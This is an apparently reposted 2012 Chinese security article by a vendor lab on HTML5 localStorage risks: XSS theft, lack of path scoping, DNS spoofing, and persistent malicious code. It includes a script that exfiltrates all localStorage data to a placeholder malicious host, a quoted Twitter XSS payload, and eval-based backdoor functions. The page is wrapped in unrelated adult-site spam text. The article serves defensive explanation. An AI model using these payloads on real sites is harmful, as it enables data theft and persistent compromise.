国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

HTML5本地存儲的安全性
2012-03-16   天融信TopLAB前沿安全實驗室

    在HTML5本地存儲出現以前,WEB數據存儲的方法已經有很多,比如HTTP Cookie,IE userData,Flash Cookie,Google Gears。其實再說細點,瀏覽WEB的歷史記錄也算是本地存儲的一種方式。到目前為止,HTML5本地存儲方式已經獲得了廣泛的支持,其中支持的瀏覽器包括:IE 8+、FF 3.5+、Safari 4+、Chrome 4+、Opera 10.5+,手機平臺包括iPhone 2+和Android 2+。最新的HTML5本地存儲規范文檔,可以在線查看http://dev.w3.org/html5/webstorage/

    HTML5本地存儲的前身就是Cookie,通過使用localStorage對象將WEB數據持久留存在本地。相比較而言,HTML5本地存儲中每個域的存儲大小默認是5M,比起Cookie的4K要大的多。而且存儲和讀取數據的代碼極為簡練: 

存儲數據

Window.localStorage.setItem(key,value)

讀取數據

Window.localStorage.getItem(key)

刪除數據項

Window.localStorage.removeItem(key)

刪除所有數據

Window.localStorage.clear()

    那么現在我們是否可以簡單的認為,HTML5存儲已經可以代替Cookie存儲了呢?還有這種新的存儲方式在實際應用中帶來了哪些新的安全風險呢?帶著這些疑問我們來進行下面的討論。 

  • 是否可以代替Cookie 

    瀏覽器使用Cookie進行身份驗證已經好多年,既然現在localStorage存儲空間那么大,是否可以把身份驗證的數據直接移植過來呢?目前來看,把身份驗證數據使用localStorage進行存儲還不太成熟。我們知道,通常可以使用XSS漏洞來獲取到Cookie,然后用這個Cookie進行身份驗證登錄。后來為了防止通過XSS獲取Cookie數據,瀏覽器支持了使用HTTPONLY來保護Cookie不被XSS攻擊獲取到。而目前localStorage存儲沒有對XSS攻擊有任何抵御機制,一旦出現XSS漏洞,那么存儲在localStorage里的數據就極易被獲取到。

    如果一個網站存在XSS漏洞,那么攻擊者注入如下代碼,就可以獲取使用localStorage存儲在本地的所有信息。  

<script>

 var i = 0;

 var str = "";

 while (localStorage.key(i) != null)

 {

  var key = localStorage.key(i);

  str += key + ": " + localStorage.getItem(key);

  i++;

 }

 document.location="http://your-malicious-site.com?stolen="+ str;

</script>

     攻擊者也可以簡單的使用localStorage.removeItem(key)和localStorage.clear()對存儲數據進行清空。 

  • 不要存儲敏感信息

    從(1)中知道,從遠程攻擊角度來看,localStorage存儲的數據容易被XSS攻擊獲取,所以不宜把身份驗證信息或敏感信息用localStorage存儲。而從本地攻擊角度來看,localStorage自身的存儲方式和存儲時效并不宜存儲敏感信息。

    五大瀏覽器現在都已經支持以localStorage方式進行存儲,其中Chrome,Opera,Safari這三款瀏覽器中都有了查看本地存儲的功能模塊。但是不同瀏覽器對localStorage存儲方式還是略有不同的。以下是五大瀏覽器localStorage存儲方式:  

瀏覽器

存儲格式

加密方式

存儲路徑

Firefox

SQLite

明文

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\tyraqe3f.default\webappsstore.sqlite

Chrome

SQLite

明文

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\

IE

XML

明文

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\

Safari

SQLite

明文

C:\Users\user\AppData\Local\Apple Computer\Safari\LocalStorage

Opera

XML

BASE64

C:\Users\user\AppData\Roaming\Opera\Opera\pstorage\

     通過上面的描述可以看出,除了Opera瀏覽器采用BASE64加密外(BASE64也是可以輕松解密的),其他瀏覽器均采用明文存儲數據。

     另一方面,在數據存儲的時效上,localStorage并不會像Cookie那樣可以設置數據存活的時限,只要用戶不主動刪除,localStorage存儲的數據將會永久存在。

     根據以上對存儲方式和存儲時效的分析,建議不要使用localStorage方式存儲敏感信息,那怕這些信息進行過加密。

  • 嚴格過濾輸入輸出

    對于本地存儲,為了方便加載數據,常常會把數據存儲在本地,等再次加載時,直接從本地讀取數據顯示在網頁上。在某些情況下,在localStorage存儲中寫入或讀取數據的時候,如果數據沒有經過輸入輸出嚴格過濾,那么這些數據極可能被作為HTML代碼進行解析,從而產生XSS攻擊。

    Twitter就發生過localStorage XSS漏洞。此漏洞觸發的條件是,在Twitter的個人主頁上執行以下存儲代碼后,每次再打開個人主頁時就會彈出/xss/框。 

localStorage.setItem(":USER:",'{"name":{"value":{"store":{"recentFollowers":{"value":"name<script>alert(/xss/)</script>"}}}}}');

    從這段代碼可以看出,Twitter會使用localStorage方法把一些個人數據存儲到本地,每次加載個人主頁面的時候就會從本地存儲獲取數據,然后由于Twitter忽略了對去除數據的嚴格過濾,導致存儲的代碼會被當作HMTL編碼執行,進而發生跨站攻擊。

    有關Twitter localStorage XSS 漏洞詳的細信息可以查看:http://www.wooyun.org/bugs/wooyun-2010-03075。雖然Twitter這個漏洞利用起來非常困難,但它再一次告訴我們:本著一切輸入輸出都是有害的原則,要對數據進行嚴格的輸入輸出過濾。

  • 容易遭受跨目錄攻擊

    localStroage存儲方式不會像Cookie存儲一樣可以指定域中的路徑,在localStroage存儲方式中沒有域路徑的概念。也就是說,如果同一個域下的任意路徑存在XSS漏洞,整個域下存儲的數據在知道存儲名稱的情況下都可以被獲取到。 

    假設下面兩個鏈接是使用localStorage來存儲數據: 

http://h.example.com/xisigr

http://h.example.com/xhack

    用戶xisigr和xhack各自的blog鏈接雖然屬于同一個域,但卻有不同的路徑,一個路徑為xisigr,另一個路徑為xhack。假設xisigr用戶發現自己的路徑下存在存儲型XSS漏洞,那么就可以在自己的blog中加入獲取數據代碼,其中核心代碼為localStorage.getItem(“name”)。xhack用戶并不需要登錄blog,他只要訪問http://h.example.com/xisigr,本地存儲數據就會被獲取到。 

  • 容易遭受DNS欺騙攻擊

    Google在沒有使用HTML5本地存儲前,是使用Google Gears方式來進行本地存儲的。那時Google Gears就遭到過DNS欺騙攻擊。Google Gears支持離線存儲,可以把Gmail,WordPresss這樣的網站數據以SQLite數據庫的形式存儲下來,以后用戶就可以對存儲的網站數據進行離線讀取或刪除操作。如果攻擊者發動DNS欺騙攻擊,那么就可以注入本地數據庫,獲取數據或者留下永久的后門,造成對用戶持久的危害。Google Gears所遭受的DNS欺騙攻擊方式在HTML5本地存儲上也是同樣有效的。 

  • 惡意代碼棲息的溫床

    在第六點中給出“惡意代碼棲息的溫床”這個小標題有些夸大的效果。其實這里想說的是,HTML5本地存儲在空間上和時間上都將成為今后存儲的趨勢,料想“惡意代碼們”自然會大雁南飛轉移棲息到這張溫床上。

     那么,何為HTML5本地存儲的空間和時間呢?空間這里指的是存儲空間,比起Cookie 4K空間的微小來說,HTML5的localStroage方法默認就可以使瀏覽器存儲5M空間可以說是博大,而Safari瀏覽器可以支持到500M更加讓HTML5存儲霸氣外露。時間上,隨著HTML5技術日漸成熟,除了各大瀏覽器廠商爭先在自己的產品中支持HTML5外,一些大應用軟件廠商也對其信賴有加。比如2011年11月Adobe宣布放棄手機上的FLASH,而由HTML5全面取而代之。隨著時間的推移,HTML5大步流星的前行速度也會越來越快,也會使得用到HTML5本地存儲的應用會越來越多。

     上面從理論上分析了“惡意代碼棲息的溫床”的可能性。而從實際技術上的可行性也非常簡單。下面是在本地留后門的核心代碼: 

保存shellcode

 

function setShellCodz(codz){

window.localStorage.setItem("shellcodz", codz);}

執行shellcode

 

function getShellCodz(){

eval(window.localStorage.getItem("shellcodz"));}

刪除shellcode

 

function delShellCodz(){

         window.localStorage.removeItem("shellcodz");}

   以上分析,均出自天融信TopLAB前沿安全實驗室的研究,希望借此文讓HTML5的本地存儲安全問題得到大家的廣泛重視。HTML5非常精彩,但也存在風險,我們要做的工作還很多。

熱詞搜索:

上一篇:RDP高危漏洞爆發,天融信IDP輕松應對
下一篇:G Data:百度推廣官網遭仿冒 企業用戶需提高警惕

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
欧美精品一区二区高清在线观看| 91色在线porny| 亚洲福中文字幕伊人影院| 日本一区二区三区国色天香| 精品国产一区二区在线观看| 欧美二区三区的天堂| 欧美人与性动xxxx| 欧美一区二区三区的| 日韩欧美亚洲一区二区| 日韩午夜激情电影| 欧美成人r级一区二区三区| 欧美理论片在线| 欧美一区二区三区思思人| 91精品国产综合久久香蕉的特点| 欧美精品v日韩精品v韩国精品v| 欧美色欧美亚洲另类二区| 91精品国产91久久久久久一区二区| 欧美日韩国产一区| 日韩三区在线观看| 国产欧美日韩激情| 一级特黄大欧美久久久| 五月天中文字幕一区二区| 免费观看日韩av| 大胆亚洲人体视频| 在线亚洲免费视频| 日韩午夜在线播放| 国产精品三级av在线播放| 亚洲天堂av老司机| 手机精品视频在线观看| 精品一区二区免费视频| 99热在这里有精品免费| 欧美日韩国产片| 久久久亚洲午夜电影| 亚洲精品伦理在线| 久久精品国产色蜜蜜麻豆| 国产成人综合亚洲91猫咪| 欧洲精品在线观看| 精品国产99国产精品| 一区二区三区在线视频播放 | 五月婷婷久久综合| 国产一区二区三区精品欧美日韩一区二区三区 | 色综合婷婷久久| 欧美色网站导航| 久久人人爽人人爽| 亚洲美女视频在线| 国内精品久久久久影院薰衣草| 色欧美片视频在线观看 | 国产精品亲子乱子伦xxxx裸| 一区二区三区欧美激情| 国产美女精品人人做人人爽| 欧美自拍偷拍一区| 国产精品剧情在线亚洲| 麻豆精品在线看| 欧美在线小视频| 国产女人18水真多18精品一级做| 午夜不卡av免费| 日本精品一级二级| 国产日韩欧美电影| 久久精品国产精品青草| 欧美色图一区二区三区| 国产精品免费视频网站| 久久99精品久久只有精品| 欧美日韩精品系列| 亚洲黄色av一区| 99在线精品一区二区三区| 久久亚洲精品国产精品紫薇| 免费观看久久久4p| 欧美丰满少妇xxxxx高潮对白| 亚洲在线视频一区| 91一区二区三区在线观看| 日本一区二区三区视频视频| 国产精品一二三四区| 精品国产乱码久久久久久牛牛| 日本成人中文字幕在线视频| 欧美日韩精品欧美日韩精品一综合| 亚洲乱码国产乱码精品精小说| 91在线国内视频| 亚洲人成亚洲人成在线观看图片 | 国产高清一区日本| 精品美女在线播放| 精品一二三四区| 久久综合网色—综合色88| 久久99精品久久只有精品| 欧美一区二区三区思思人| 美国十次了思思久久精品导航| 日韩欧美亚洲国产精品字幕久久久| 天天综合天天综合色| 91精品国产欧美一区二区| 日韩激情一二三区| 欧美va亚洲va| 国产成人丝袜美腿| 亚洲欧美视频在线观看视频| 日本精品一级二级| 美女一区二区在线观看| 精品久久久久久久久久久久包黑料 | 一区二区视频在线看| 精品视频一区二区三区免费| 免费成人美女在线观看.| 精品噜噜噜噜久久久久久久久试看| 国产精品小仙女| 亚洲特黄一级片| 91精品国产入口| 国产91精品露脸国语对白| 一区二区三区在线视频播放| 欧美一级欧美三级在线观看| 国产在线播精品第三| 亚洲精品高清在线| 欧美大片一区二区| 99re视频精品| 免费在线观看不卡| 欧美激情在线一区二区三区| 欧美中文字幕不卡| 久久国产生活片100| 亚洲精品国产a| 久久综合网色—综合色88| 色哟哟在线观看一区二区三区| 日韩主播视频在线| 国产精品乱人伦中文| 欧美一区在线视频| 91在线精品一区二区三区| 久久精品国产亚洲5555| 亚洲精品亚洲人成人网| 日韩一区二区三区视频在线| 99久久综合国产精品| 久久国产三级精品| 亚洲制服丝袜av| 国产精品久久久久aaaa樱花| 欧美精品在线观看一区二区| 成人精品国产免费网站| 久久精品国产一区二区三 | 欧美日韩一级视频| 国产高清在线精品| 久久国内精品视频| 日韩高清一区在线| 亚洲精品中文字幕在线观看| 亚洲国产高清在线| 国产亚洲综合性久久久影院| 日韩亚洲欧美在线| 欧美日韩精品二区第二页| 97久久超碰国产精品电影| 国产毛片精品一区| 日本va欧美va瓶| 天天影视涩香欲综合网| 亚洲国产精品久久久久秋霞影院| 欧美极品美女视频| 久久久国产精品午夜一区ai换脸 | 国产一区二区不卡老阿姨| 香港成人在线视频| 亚洲一区在线视频| 一区二区三区不卡在线观看 | 久久99久久99精品免视看婷婷 | 日本成人在线视频网站| 石原莉奈一区二区三区在线观看| 亚洲黄色录像片| 亚洲综合成人在线视频| 依依成人综合视频| 亚洲人精品午夜| 伊人开心综合网| 亚洲精品乱码久久久久久| 亚洲伦理在线精品| 一区二区三区免费在线观看| 国产精品免费aⅴ片在线观看| 国产精品乱子久久久久| 亚洲欧洲三级电影| 亚洲精品国产第一综合99久久 | 韩国成人精品a∨在线观看| 老司机精品视频在线| 久国产精品韩国三级视频| 精品一区二区在线观看| 国产成人亚洲综合a∨猫咪| 成人高清视频免费观看| 99精品国产91久久久久久| 日本韩国一区二区三区视频| 欧美在线观看视频一区二区| 7777精品伊人久久久大香线蕉完整版 | 亚洲综合男人的天堂| 亚洲高清免费在线| 麻豆成人免费电影| 国产精品一区专区| 一本色道久久综合亚洲91| 欧美三级在线视频| 欧美变态凌虐bdsm| 欧美高清在线一区| 亚洲va国产天堂va久久en| 精品一区二区综合| 91色|porny| 精品国产免费人成电影在线观看四季| 国产欧美精品一区二区三区四区| 亚洲精品视频免费看| 蜜臀精品一区二区三区在线观看 | 这里只有精品免费| 中文字幕不卡在线| 天天影视涩香欲综合网| 风流少妇一区二区| 在线成人免费观看| 国产精品欧美极品| 偷拍亚洲欧洲综合| 岛国一区二区三区| 日韩一区二区在线观看视频播放| 国产精品久久久久久久久搜平片|